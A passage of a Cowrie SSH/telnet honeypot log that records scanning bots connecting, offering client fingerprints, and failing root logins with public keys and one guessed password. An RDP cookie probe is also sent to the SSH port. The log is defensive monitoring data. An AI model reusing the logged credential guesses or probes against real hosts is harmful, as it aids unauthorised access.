hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:42:49.021761Z","src_ip":"188.44.20.34","session":"09202c5f5013","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1e:81:ac:a7:d5:15:dd:1b:44:b0:37:dd:84:e6:8b:35","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFbUspX4vg1NkOYylRTBfu0U1HAcxIKcsGS5Msx5TbZZA3SZLZMa0gPQosHdQ14sH6Ei2+lyqxPupztmpuu2b+qyt4Lt8tFiKy0CxWt4Hy0Ze2wKp5jirzBg3gLNtmCiVUc2NCPkUgp0gNEHuUhtOkHbm5+zJ/qDSMBQK0QlGkZpNdClSOndvFLHlVOyJlHKMMElneoNkA9iDb2JI+E7z0emP3KPD1OyBh6yvV3BrOJuaMDk9SrtDeRzZI3mdqnbUV0tZlXjvh4QreMcf3YUAipRrfvMgoxocX2g8IYLAxZ1GoJ6eMVgXWpTdFU5YlZhuXUV1VnVnrgle1XotqhWYb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1e:81:ac:a7:d5:15:dd:1b:44:b0:37:dd:84:e6:8b:35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:42:49.689780Z","src_ip":"188.44.20.34","session":"09202c5f5013","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1e:81:ac:a7:d5:15:dd:1b:44:b0:37:dd:84:e6:8b:35","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFbUspX4vg1NkOYylRTBfu0U1HAcxIKcsGS5Msx5TbZZA3SZLZMa0gPQosHdQ14sH6Ei2+lyqxPupztmpuu2b+qyt4Lt8tFiKy0CxWt4Hy0Ze2wKp5jirzBg3gLNtmCiVUc2NCPkUgp0gNEHuUhtOkHbm5+zJ/qDSMBQK0QlGkZpNdClSOndvFLHlVOyJlHKMMElneoNkA9iDb2JI+E7z0emP3KPD1OyBh6yvV3BrOJuaMDk9SrtDeRzZI3mdqnbUV0tZlXjvh4QreMcf3YUAipRrfvMgoxocX2g8IYLAxZ1GoJ6eMVgXWpTdFU5YlZhuXUV1VnVnrgle1XotqhWYb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:42:49.693369Z","src_ip":"188.44.20.34","session":"09202c5f5013","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9a:c9:a3:93:38:0f:ad:eb:a4:2a:ea:35:ad:de:65:f0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDg35G91sURZ9T3WXgafaYEiDCiOIhdi6vW+XyC7uVTXHUue72gbi4w7MTsNF3Mu3et6Ok1lMUK+EpQzm3Ag16zuwflFrKCo/eGuahs8Y1JsZuJeSrRWjyB2Zr1b2neIQJYGjYD/oeRK1xRc3dRPAPBl+4sbaS3XNUf5ad01+vrbtg0FJl/xsqtYW6ygDlYEHViU3M31oKrJae8vUxhDTALMq8uFlnSoLDdIAu5ZqLvkC1Q81PgzcKf/IIX7JoLz731JNTgoUalbpWdqtp//Bj6vc4T8WGOQZO5kpgdscyiDpgSJbW0n61Ma9EtBAwhTKqWQx+pOAv0h7sUsM9xeEWP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9a:c9:a3:93:38:0f:ad:eb:a4:2a:ea:35:ad:de:65:f0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:42:49.831996Z","src_ip":"188.44.20.34","session":"09202c5f5013","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9a:c9:a3:93:38:0f:ad:eb:a4:2a:ea:35:ad:de:65:f0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDg35G91sURZ9T3WXgafaYEiDCiOIhdi6vW+XyC7uVTXHUue72gbi4w7MTsNF3Mu3et6Ok1lMUK+EpQzm3Ag16zuwflFrKCo/eGuahs8Y1JsZuJeSrRWjyB2Zr1b2neIQJYGjYD/oeRK1xRc3dRPAPBl+4sbaS3XNUf5ad01+vrbtg0FJl/xsqtYW6ygDlYEHViU3M31oKrJae8vUxhDTALMq8uFlnSoLDdIAu5ZqLvkC1Q81PgzcKf/IIX7JoLz731JNTgoUalbpWdqtp//Bj6vc4T8WGOQZO5kpgdscyiDpgSJbW0n61Ma9EtBAwhTKqWQx+pOAv0h7sUsM9xeEWP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:42:49.835525Z","src_ip":"188.44.20.34","session":"09202c5f5013","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a4:4d:28:c9:b3:ba:7c:03:6c:6f:a4:55:de:1b:fa:5a","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPBkjRF13AZBfH4+ZIBVTpDgtmU/GaRHb5WmAyLemgiT","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint a4:4d:28:c9:b3:ba:7c:03:6c:6f:a4:55:de:1b:fa:5a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:42:49.977000Z","src_ip":"188.44.20.34","session":"09202c5f5013","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a4:4d:28:c9:b3:ba:7c:03:6c:6f:a4:55:de:1b:fa:5a","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPBkjRF13AZBfH4+ZIBVTpDgtmU/GaRHb5WmAyLemgiT","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:42:49.980638Z","src_ip":"188.44.20.34","session":"09202c5f5013","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"88:f7:1c:52:65:4f:b6:ef:a4:70:1a:ff:8e:92:d3:89","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDFS2OQxWH6q2hkvLyPKto5awSbYOddW0wINSizvPEKAtRIPP0CyIPGqq36vpiO5bl/BXk0BnfSuMlndbXySuYWY/ZCp39kawNkZFmoIRQ11JX+ewv0+dmmF7cemEUWZjAFTNSjUrnhirDHKpMqIl/YW/OuUDG3BZUbRj2SKoIuihPRujZdFrkN1cPGXfjcMgs6ctDM0VKW6dUxApFBumjm9R03SqjT6steEvawKVyngtVizDG7e+3Dt0ZZBrYTRedaIwzRRWRJV0SdmLVvmHvJ6VUUAP8FcHyuDRSRKtvBT/6t2lRdvVHzhVgfTNNDsZcqOudkLOtFp/GVlSuzNerKpAGWA99Wge6yq1CdYgYHhi2/1NUnuZFnj77Y+a3AZIWmMgxjpqWHb1nHVkmuMDXY5XMgzMG79NAt9Udr+fxuzUeINu1DN/CI8t7EEKZQnLACWdq1cFEIq6y3ey+31R9NI8tCdVtasuRY3afueMWHA7f1nwLklX30KUp7w7jE3o5eNI+OPboS3ON6OhsQU8LnJSDKGPBW0B8aSN7piIiv9PSUStHg3DKEECV32JmXhsCOdpg2p1d7R2mwa7+9X+KoZ/EnCXXOh83OSE5TK6bD49m6/93BvAIrivNnQcqZ4Jkv7rLhO9h1LlUpIdbV3mIulY0VlwRCtAVRtBPzUctr9Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 88:f7:1c:52:65:4f:b6:ef:a4:70:1a:ff:8e:92:d3:89","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:42:50.119149Z","src_ip":"188.44.20.34","session":"09202c5f5013","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"88:f7:1c:52:65:4f:b6:ef:a4:70:1a:ff:8e:92:d3:89","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDFS2OQxWH6q2hkvLyPKto5awSbYOddW0wINSizvPEKAtRIPP0CyIPGqq36vpiO5bl/BXk0BnfSuMlndbXySuYWY/ZCp39kawNkZFmoIRQ11JX+ewv0+dmmF7cemEUWZjAFTNSjUrnhirDHKpMqIl/YW/OuUDG3BZUbRj2SKoIuihPRujZdFrkN1cPGXfjcMgs6ctDM0VKW6dUxApFBumjm9R03SqjT6steEvawKVyngtVizDG7e+3Dt0ZZBrYTRedaIwzRRWRJV0SdmLVvmHvJ6VUUAP8FcHyuDRSRKtvBT/6t2lRdvVHzhVgfTNNDsZcqOudkLOtFp/GVlSuzNerKpAGWA99Wge6yq1CdYgYHhi2/1NUnuZFnj77Y+a3AZIWmMgxjpqWHb1nHVkmuMDXY5XMgzMG79NAt9Udr+fxuzUeINu1DN/CI8t7EEKZQnLACWdq1cFEIq6y3ey+31R9NI8tCdVtasuRY3afueMWHA7f1nwLklX30KUp7w7jE3o5eNI+OPboS3ON6OhsQU8LnJSDKGPBW0B8aSN7piIiv9PSUStHg3DKEECV32JmXhsCOdpg2p1d7R2mwa7+9X+KoZ/EnCXXOh83OSE5TK6bD49m6/93BvAIrivNnQcqZ4Jkv7rLhO9h1LlUpIdbV3mIulY0VlwRCtAVRtBPzUctr9Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:42:50.122378Z","src_ip":"188.44.20.34","session":"09202c5f5013","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f2:ee:ab:0f:bd:e2:99:2f:1f:b4:dd:ac:42:dd:88:89","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDe9x1TrvLxhCLpgiq5DuvvWWy+hBZqBs2bcmtsdyUfmy+omuV4LgMdMhzImWQqYGC1Pf4pkOA1Abe17Mw+cIQpd6jby92rURps16kUChAS/IS1SMWkhbeyPRcToYhcIrSrYegGhB7vMrNg1S0PoQnIEVpoFtToZWBPGrVHxRltlomTriIL06rKsFpY/wgO3DiCLBsYkIsoVxl/JwfHSBQF25DVBBjQ11/rIYRiUXR9X6kknhruPxmI+pHlAGgLD0N9mrotINy3EU/3yKuzwIsDdCcOG27BzwNDYkbbOvfsLCMAE/tYCB4hkke2Y4zkH1Y8nQW57zUOdpWO17QUR1mdAvpRTObQDvE7JVUfo4tznQV30IyjQ00gUjtLTogO1n0ftOY8DV5PSWzrhhBTAkHJsxC0UKg4v7mvJiI4Nu4YptkMSDaIb2oKEed9loL7LoGbYf5ZCGSHUX4fndCu2LM5ER8+la+ZNVaGK962yzjzAS7vX4KPKf8vry8C0zHOQiSSjJlTV3caixTCKS7g5ok2TpdgOXxHhfGPZqLpk3g9diQztB46q9M/y1Z0SBGRB5XYbEOhdCGyzmMwMdRarbZbxwHhCjQh7QWP/s94zHHg/WXhZ7HCoTkHkpQN40AwQN9yW67kB+/I0xACG3JiuuZkVtbXhd3zglzdAPweDstkGw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f2:ee:ab:0f:bd:e2:99:2f:1f:b4:dd:ac:42:dd:88:89","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:42:50.261315Z","src_ip":"188.44.20.34","session":"09202c5f5013","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f2:ee:ab:0f:bd:e2:99:2f:1f:b4:dd:ac:42:dd:88:89","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDe9x1TrvLxhCLpgiq5DuvvWWy+hBZqBs2bcmtsdyUfmy+omuV4LgMdMhzImWQqYGC1Pf4pkOA1Abe17Mw+cIQpd6jby92rURps16kUChAS/IS1SMWkhbeyPRcToYhcIrSrYegGhB7vMrNg1S0PoQnIEVpoFtToZWBPGrVHxRltlomTriIL06rKsFpY/wgO3DiCLBsYkIsoVxl/JwfHSBQF25DVBBjQ11/rIYRiUXR9X6kknhruPxmI+pHlAGgLD0N9mrotINy3EU/3yKuzwIsDdCcOG27BzwNDYkbbOvfsLCMAE/tYCB4hkke2Y4zkH1Y8nQW57zUOdpWO17QUR1mdAvpRTObQDvE7JVUfo4tznQV30IyjQ00gUjtLTogO1n0ftOY8DV5PSWzrhhBTAkHJsxC0UKg4v7mvJiI4Nu4YptkMSDaIb2oKEed9loL7LoGbYf5ZCGSHUX4fndCu2LM5ER8+la+ZNVaGK962yzjzAS7vX4KPKf8vry8C0zHOQiSSjJlTV3caixTCKS7g5ok2TpdgOXxHhfGPZqLpk3g9diQztB46q9M/y1Z0SBGRB5XYbEOhdCGyzmMwMdRarbZbxwHhCjQh7QWP/s94zHHg/WXhZ7HCoTkHkpQN40AwQN9yW67kB+/I0xACG3JiuuZkVtbXhd3zglzdAPweDstkGw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:42:50.265421Z","src_ip":"188.44.20.34","session":"09202c5f5013","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:42:50.405199Z","src_ip":"188.44.20.34","session":"09202c5f5013","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34608,"dst_ip":"10.17.0.5","dst_port":23,"session":"0cc0d1f82077","protocol":"telnet","message":"New connection: 152.42.224.71:34608 (10.17.0.5:23) [session: 0cc0d1f82077]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:42:57.457731Z"}
{"eventid":"cowrie.session.closed","duration":120.0026695728302,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:43:04.035218Z","src_ip":"152.42.224.71","session":"4f6076124d5b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34622,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a76f9cc1219","protocol":"telnet","message":"New connection: 152.42.224.71:34622 (10.17.0.5:23) [session: 4a76f9cc1219]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:43:05.364958Z"}
{"eventid":"cowrie.session.closed","duration":120.00134539604187,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:43:05.815261Z","src_ip":"152.42.224.71","session":"67e7fd4c7c47","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":49293,"dst_ip":"10.17.0.5","dst_port":22,"session":"116fecec90d2","protocol":"ssh","message":"New connection: 167.172.81.52:49293 (10.17.0.5:22) [session: 116fecec90d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:43:07.112822Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:43:07.117526Z","src_ip":"167.172.81.52","session":"116fecec90d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:43:07.121442Z","src_ip":"167.172.81.52","session":"116fecec90d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39418,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d502fe8d82a","protocol":"telnet","message":"New connection: 152.42.224.71:39418 (10.17.0.5:23) [session: 4d502fe8d82a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:43:08.122202Z"}
{"eventid":"cowrie.session.closed","duration":120.00259709358215,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:43:09.159990Z","src_ip":"152.42.224.71","session":"22c47913f662","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":29.81787371635437,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:43:09.392615Z","src_ip":"152.42.224.71","session":"fd64fa483d61","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39434,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6beafd0f103","protocol":"telnet","message":"New connection: 152.42.224.71:39434 (10.17.0.5:23) [session: e6beafd0f103]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:43:11.290792Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39442,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc301fd6f517","protocol":"telnet","message":"New connection: 152.42.224.71:39442 (10.17.0.5:23) [session: fc301fd6f517]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:43:13.368444Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44994,"dst_ip":"10.17.0.5","dst_port":23,"session":"d91488320f7b","protocol":"telnet","message":"New connection: 152.42.224.71:44994 (10.17.0.5:23) [session: d91488320f7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:43:20.621581Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45002,"dst_ip":"10.17.0.5","dst_port":23,"session":"d26072110629","protocol":"telnet","message":"New connection: 152.42.224.71:45002 (10.17.0.5:23) [session: d26072110629]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:43:23.242198Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58180,"dst_ip":"10.17.0.5","dst_port":23,"session":"d77e6a8e0196","protocol":"telnet","message":"New connection: 152.42.224.71:58180 (10.17.0.5:23) [session: d77e6a8e0196]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:43:26.486406Z"}
{"eventid":"cowrie.session.closed","duration":120.00186824798584,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:43:26.508940Z","src_ip":"152.42.224.71","session":"623683104faf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58196,"dst_ip":"10.17.0.5","dst_port":23,"session":"f99d211c16ef","protocol":"telnet","message":"New connection: 152.42.224.71:58196 (10.17.0.5:23) [session: f99d211c16ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:43:27.145659Z"}
{"eventid":"cowrie.session.closed","duration":31.999034643173218,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:43:37.363854Z","src_ip":"152.42.224.71","session":"4a76f9cc1219","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":88.16803312301636,"message":"Connection lost after 88 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:43:37.512066Z","src_ip":"152.42.224.71","session":"dbe2879fa4aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38614,"dst_ip":"10.17.0.5","dst_port":23,"session":"1739e9be9b9d","protocol":"telnet","message":"New connection: 152.42.224.71:38614 (10.17.0.5:23) [session: 1739e9be9b9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:43:39.060098Z"}
{"eventid":"cowrie.session.closed","duration":45.58059310913086,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:43:43.038234Z","src_ip":"152.42.224.71","session":"0cc0d1f82077","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38626,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9d844b4703a","protocol":"telnet","message":"New connection: 152.42.224.71:38626 (10.17.0.5:23) [session: d9d844b4703a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:43:43.081109Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45692,"dst_ip":"10.17.0.5","dst_port":23,"session":"251c19dc3fc7","protocol":"telnet","message":"New connection: 152.42.224.71:45692 (10.17.0.5:23) [session: 251c19dc3fc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:43:54.067084Z"}
{"eventid":"cowrie.session.closed","duration":38.54642987251282,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:43:59.167795Z","src_ip":"152.42.224.71","session":"d91488320f7b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":114.20108366012573,"message":"Connection lost after 114 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:43:59.793861Z","src_ip":"152.42.224.71","session":"ea71757e46eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45410,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b63c462fc46","protocol":"telnet","message":"New connection: 152.42.224.71:45410 (10.17.0.5:23) [session: 4b63c462fc46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:44:00.449287Z"}
{"eventid":"cowrie.session.closed","duration":9.515031576156616,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:44:03.582008Z","src_ip":"152.42.224.71","session":"251c19dc3fc7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.96367812156677,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:44:04.254362Z","src_ip":"152.42.224.71","session":"e6beafd0f103","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.44046068191528,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:44:06.586002Z","src_ip":"152.42.224.71","session":"f99d211c16ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":33624,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a57a889053e","protocol":"ssh","message":"New connection: 46.19.67.181:33624 (159.203.135.109:22) [session: 7a57a889053e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:44:06.595155Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:44:06.599510Z","src_ip":"46.19.67.181","session":"7a57a889053e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:44:06.714444Z","src_ip":"46.19.67.181","session":"7a57a889053e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rfntymrf","message":"login attempt [root/rfntymrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:44:07.061367Z","src_ip":"46.19.67.181","session":"7a57a889053e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:44:08.177505Z","src_ip":"46.19.67.181","session":"7a57a889053e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45312,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c3513d7f83e","protocol":"telnet","message":"New connection: 152.42.224.71:45312 (10.17.0.5:23) [session: 1c3513d7f83e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:44:14.078764Z"}
